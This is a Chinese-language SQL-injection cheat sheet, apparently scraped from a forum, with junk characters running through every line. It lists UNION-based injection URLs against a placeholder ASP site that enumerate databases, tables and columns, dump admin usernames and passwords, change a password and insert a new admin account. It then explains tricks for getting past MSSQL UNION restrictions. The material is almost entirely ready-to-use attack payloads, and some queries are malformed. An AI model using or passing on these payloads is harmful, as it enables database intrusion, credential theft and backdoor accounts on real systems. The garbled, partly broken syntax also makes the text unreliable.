爆库:" X: N0 r/ T ~1 A. X
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
0 G; W" ]* H+ P. J1 L6 h9 I* `. K# |; pSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
2 U& c. D5 U: g/ Q5 B6 O( r0 V爆下一个库:
6 s) w; Q: B Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
# H# a; j# V: I9 l$ k. f& Z( R8 Z, E: o( \! Y% C( \
爆表:
1 ]3 d5 P) T M1 jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--7 d& o. g% c! Y: _
1 M/ v9 P# Y `# `; R2 \3 E9 y
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
9 e/ }5 t- z7 `# @- L/ |2 k, g; ]' G7 u7 [6 g0 h% Q$ t% B0 W
爆下一个表
9 z, t/ o9 t3 @& \http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
L& n% f% {) U! }" J! @/ k, R8 a% D3 E& G
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--7 A" f$ s8 U/ T! i6 }; M5 G
8 \+ U0 k, B* K3 _; W& T# t- s* g8 J6 f+ l3 K1 |
- r/ p% n2 A& N3 J6 u2 ^
爆字段:0 |3 {. d" K1 t- I5 F6 f% z
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--2 J) A% \% }5 x0 l$ G
1 a2 V" A. X9 N; V爆下一个字段+ {# S! C) J% M- o* O: J
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
/ t4 H2 C% q2 Q2 c
; {. u/ a' T% q7 ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
/ m) L# L) V E6 }
2 B& e. U) H: o7 _: q3 N, u) s) b# r) x
爆字段里的内容" X5 ]# X3 z) e0 L) U
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--* z2 c* s4 g0 g0 Q4 t: j7 L/ V% K
, z3 |. H+ p) p; t5 j1 P3 X: Y5 B" ^& Hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
/ [3 y; k2 B' j% O( s1 D* C1 o2 T9 @: r8 g) F( M
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--: v0 D3 b) ~3 A
4 r- I5 ]2 h3 P2 j% D/ Z, nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
& F2 S+ \2 L, o$ B0 \, d
; ~5 a: \- O1 b) f& K) V9 B更新字段里的内容7 _2 p9 O4 n; f5 z) ?* {
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--. U3 z* F* f. a
! w0 ~. ]0 K: s. D' jhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
* v4 _3 t, `6 b( Q' v& w& {$ ~$ I, X7 }) D6 e4 ^1 t. B0 ^
4 ^: J! k5 A& t) g( @& e1 D3 f. |
7 l* M7 F9 m5 \! k( o! _
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
, |* v! s# A p4 J; q w4 [# @4 | 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
3 p, U- }3 o& ?7 F 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
7 ]$ _: k( u) O+ [# P 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
# j! Y( A7 Y7 g! o _, r* ]0 e6 H; D4 a) F
突了了大部份限制的语句7 T) ?5 O* |, V0 F
and 1=2 union all select char(49),char(50),null,null;--; p; ?6 k/ R1 A2 a
1 e8 g7 ^ C0 p8 I, l4 U' {
8 C* n+ T- h8 x% u' ~3 ~. ~null也可以正常执行,不过没有回显,不好判断回显的列数。
3 D1 y: C* ^$ F* k一般union遇到问题都是有text或者ntext字段,image的很少遇到
+ m9 f- Y( i% z( A2 [; X( F5 U6 F
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
( G% _8 w/ K# Q0 q
3 s3 ]4 F4 Q! U" u4 N2 H
+ O- n% Y3 }5 I% p |